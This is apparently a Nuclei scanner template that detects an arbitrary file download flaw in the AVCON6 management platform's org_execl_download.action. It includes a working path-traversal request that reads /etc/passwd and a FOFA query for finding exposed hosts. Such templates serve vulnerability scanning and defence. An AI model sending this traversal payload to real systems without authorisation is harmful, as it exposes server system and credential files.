id: avcon6-execl-lfi

info:
  name: AVCON6 org_execl_download.action - Arbitrary File Download
  author: DhiyaneshDk
  severity: high
  description: |
    Arbitrary File Download vulnerability in the org_execl_download.action of the AVCON6 system management platform, through which an attacker can download arbitrary files from the server
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/AVCON6%20%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20org_execl_download.action%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="AVCON-6"
  tags: avcon6,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009ffed530ec7de34676bc57be3ee37e2e1d965e97b8063b79194571361c61e2d802204f3171d69f05af9e305360492c427a367a3a1e3b8b75a32d993d26a5bfdddba2:922c64590222798bb761d5b6d8e72950